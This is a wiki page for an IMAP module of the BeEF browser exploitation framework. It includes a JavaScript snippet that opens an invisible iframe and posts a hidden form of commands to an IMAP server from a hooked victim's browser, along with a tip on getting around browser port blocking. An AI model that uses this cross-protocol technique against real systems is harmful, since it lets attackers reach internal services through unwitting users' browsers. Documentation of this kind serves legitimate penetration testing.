-
Notifications
You must be signed in to change notification settings - Fork 2.2k
Module: IMAP
Jess Williams edited this page Jan 13, 2020
·
3 revisions
-
Objective: send commands to an IMAP4 server using inter-protocol communication
-
Authors: jgaliana, wade
-
Browsers: Firefox, Chrome, Safari, Opera
Note: browser port banning is denying connections to default IMAP port 143.
Uses an iframe with multipart form data to send commands to IMAP server
var target = "http://" + server + ":" + port + "/abc.html";
var iframe = beef.dom.createInvisibleIframe();
var form = document.createElement('form');
form.setAttribute('name', 'data');
form.setAttribute('action', target);
form.setAttribute('method', 'post');
form.setAttribute('enctype', 'multipart/form-data');
var input = document.createElement('input');
input.setAttribute('id', 'data1')
input.setAttribute('name', 'data1')
input.setAttribute('type', 'hidden');
input.setAttribute('value', commands);
form.appendChild(input);
https://e1tips.com/2014/03/17/allow-firefox-chrome-to-access-restricted-ports/
Online works when the port is not blocked by the browser.
- Configuration
- Interface
- Information Gathering
- Social Engineering
- Network Discovery
- Metasploit
- Tunneling
- XSS Rays
- Persistence
- Creating a Module
- Geolocation
- Using-BeEF-With-NGROK